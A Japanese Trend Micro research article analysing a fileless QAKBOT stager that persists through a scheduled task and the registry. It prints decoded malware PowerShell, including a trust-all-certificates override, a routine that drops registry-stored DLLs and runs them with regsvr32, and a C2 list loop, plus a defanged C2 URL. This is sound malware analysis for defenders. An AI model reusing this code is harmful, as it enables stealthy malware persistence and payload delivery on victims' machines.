マルウェア
ファイルレスマルウェアQAKBOTを攻撃対象にステージャーとして永続化させる攻撃手口を解説
トレンドマイクロでは、最近、中東地域のスパム攻撃キャンペーンにおいて、2つのエクスプロイトを使用したローダ型マルウェア「Squirrelwaffle」の存在を確認しました。
トレンドマイクロでは、最近、中東地域のスパム攻撃キャンペーンにおいて、2つのエクスプロイトを使用したローダ型マルウェア「Squirrelwaffle」の存在を確認しました。そしてトレンドマイクロのインシデントレスポンスおよびXDRチームの監視と分析により、ペイロードの1つとして、2007年からサイバー犯罪者による使用が確認されている情報窃取型バンキングマルウェア「QAKBOT」の存在が明らかになりました。
調査を続けるなかで、ファイルレスの手法を備えたQAKBOTがステージャーとして感染端末上での永続性を保持することが確認されました。さらに、QAKBOTがペイロードの一つとしてレジストリ上でファイルレスにステージングする一方で、他の複数のマルウェアをステージングすることも可能なことから、今後、より多くの攻撃キャンペーンに悪用されることが懸念されます。
詳細
トレンドマイクロの解析では、まず感染端末上で以下のような不審なPowerShellの実行を確認しました。
このコードがbase64によって難読化されている場合、通常は、コマンドラインパラメータが長くなっているため、XDRによって検知されます。しかし今回確認されたコードでは、base64のエンコーディングにもかかわらず著しく短ったため、レジストリにファイルレスで読み込まれていました。
この場合は、Trend Micro™ Vision One™およびManaged XDRによるProgressive Root Cause Analysis(根本原因分析, RCA)を使用し、正規プロセスservices.exeの実行を追跡することで検知できました。また、この検知により、今回のような疑わしいPowerShellの実行は、スケジュールされたタスクにより起動されていることも判明しました。
図2のようなPowerShellコマンドは、実際のコマンドをレジストリに格納するファイルレス手法の一例になります。今回のケースでは、以下のレジストリエントリに格納されており、この場合もbase64でエンコードされます。
- HKCU:\SOFTWAREUiggvsbhwbcvhom).vqaryay"
復号化された文字列の分解
今回の解析では、暗号化された文字列を復号化した上で、以下のように各セクションに分解することができました。コードの変数は、ランダム化ツールにより難読化されており、これによりある程度の検出回避が可能となっていました。
$KtdH = "{E6CF5F45-43D0-4514-96DE-151BD04A9079}" <-- Mutex Name
$d_IP = "/zkr" <-- URL path $LngwgFRytJ = "jhysoq" <-- Registry Entry 1 $awwWcsGQX = "gqdmzka" <-- Registry Entry 2 $g_JXBUAMH = "irwtoakzd" <-- Registry Entry 3 $WQudUrNwDr = "daedvnjlph" <-- Registry Entry 4 (Date Entry) $tvDQbLr = "HKCU:\SOFTWARE\Uiggvsbhwbcvhom" <-- Registry Key |
以下のコードによると、PowerShellによってSSL証明書のチェックをスキップするように設定されており、これにより、固有のセキュリティプロトコルを回避していました。
add-type @" using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy { public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) { return true; } } "@ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy |
さらに次の文字列では、マルウェアの実装でよく見られる、単一実行を保証するmutexをチェックしていました。さらに、レジストリエントリ4に日付が設定されているかどうかもチェックしていました。正確な日付のマーキングは重要ではないものの、この設定は、ファイルレスの感染活動日時のマーカーとして使用されます。日付が設定されていない場合は、そのまま作成と実行の動作が行使されることになっていました。設定されている場合は、この動作はスキップされます。
function UQTV() { $MwmmBxnVjO = Get-Random $RBnYwaG = (Get-ItemProperty -Path $tvDQbLr).$LngwgFRytJ if ($RBnYwaG) { $_f_zhkPw = "$env:TEMP\\$($MwmmBxnVjO)1.dll" $fPsS = [System.Convert]::FromBase64String($RBnYwaG) [System.IO.File]::WriteAllBytes($_f_zhkPw, $fPsS) Start-Process -FilePath "regsvr32.exe" -ArgumentList "$_f_zhkPw" } else { } $OlKwHqqEa = (Get-ItemProperty -Path $tvDQbLr).$awwWcsGQX if ($OlKwHqqEa) { $_f_zhkPw = "$env:TEMP\\$($MwmmBxnVjO)2.dll" $fPsS = [System.Convert]::FromBase64String($OlKwHqqEa) [System.IO.File]::WriteAllBytes($_f_zhkPw, $fPsS) Start-Process -FilePath "regsvr32.exe" -ArgumentList "$_f_zhkPw" } else { } } |
さらに以下の文字列では、レジストリエントリ1もしくは2のどちらに存在するかに応じて、ファイルレスで格納されたDLLファイルがregsvr32.exeを介して作成・実行するようになっていました。このDLLファイルは、QAKBOTの亜種として検出されます。
この時点で、すでにメインとなるペイロードが投下されているため、ステージャーとして活動は終了したと見なされがちですが、実際は、この段階でまだ目的の半分しか遂行されていないことが判明しました。続けて、復号化されたコードを確認すると、次のような文字列となっていました。
$PNpOl = (Get-ItemProperty -Path $tvDQbLr).$g_JXBUAMH if (!$PNpOl) { exit } $mbATsNmtaw = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($PNpOl)) $anvsPJMJpe = 0; $DXSMgDi = $mbATsNmtaw.Split(";") foreach ($qtNuK_ in $DXSMgDi) { __NOxzyOQT $qtNuK_ if ($global:rcxEcF -eq 1) { break } $anvsPJMJpe++ } exit 0 |
このステージャー機能として、レジストリエントリ3を読み込み、レジストリの内容はエンコード化された文字列となります。そしてさらにこのコードが復号化されると、文字列は、IPアドレスとポートを組み合わせたリストとなります。このリストがメモリ内で設定された場合、ステージャーとして以下のURLへのアクセスが可能となります。
- hxxps[:]//<IP>:<Port>/zkr?n=qafsdb378960
そしてこのURLから次の3つのパラメータを受け取ることになります。
- 最初のパラメータは、スイッチ時の実行を担当し、以下の6つをカバーします。
- regsvr32.exe経由での実行
- スタートプロセス(exe)経由での実行
- invoke-expression(IEX)経由での実行
- cmd.exeによる実行
- スタートプロセス(bat)による実行
- スタートプロセス(vbs)経由での実行
- 第2のパラメータは、エラー処理用となります。
- 3番目のパラメータは、ダウンロード・実行を行うPEファイルとなります。
結論
今回の解析では、ファイルレス型ステージャーのQAKBOTが展開される場合のみの動作を確認しましたが、動作としては、他のマルウェアのステージャーの役割も果たしていることが分かっています。また、スケジュール化されたタスクによって感染端末へ長く滞在することが可能であるため、今回の攻撃の背後にいるサイバー犯罪者は、必要と判断した複数のマルウェアを追加で展開し、各マルウェアの実行をスケジュール化されたタスクによって起動させる攻撃も可能となります。
QAKBOTが、ファイルレス手法により感染の痕跡を隠ぺいしようする動作は、過去にも確認されていました。しかし、今回のようにファイルレス型マルウェアのステージャー活動として、感染端末上での永続性を保持し、なおかつ水平移動(内部活動)をするランサムウェアを含め、他のタイプのマルウェアをダウンロードする機能を備えているケースは、今回が初めての確認となります。企業のセキュリティ部門は、ファイルレス型マルウェアの活動痕跡、不審な変数、および不正なプロセスをより明確に把握するため、監視メカニズムを強化し、有効化することが推奨されます。
トレンドマイクロのソリューション
今回の解析で行った通り、攻撃の全貌をつかむためにはマルウェアに対する単体の予防・検知だけでなく、環境全体で発生している事象を監視して対応する必要があります。「Trend Micro Vision One™」は、XDR(Extended Detection and Response)ソリューションを超える付加価値と新たなメリットを提供し、企業が「より多くを把握し、迅速に対応する」という目的を実現する脅威防御のプラットフォームです。メール、エンドポイント、サーバ、クラウドワークロード、ネットワークといった複数のセキュリティレイヤーにまたがる情報を収集し、自動的に相関させる深く幅広いXDR機能を提供する「Trend Micro Vision One™」は、自動化された防御機能によって攻撃の大半を防ぐことが可能となります。
侵入の痕跡(Indicators of Compromise、IoC)
今回の記事に関する侵入の痕跡は、こちらを参照してください。
参考記事:
- 「Staging a Quack: Reverse Analyzing a Fileless QAKBOT Stager」
by Abraham Camba, Jonna Santos, Gilbert Sison, Jay Yaneza
翻訳:与那城 務(Core Technology Marketing, Trend Micro™ Research)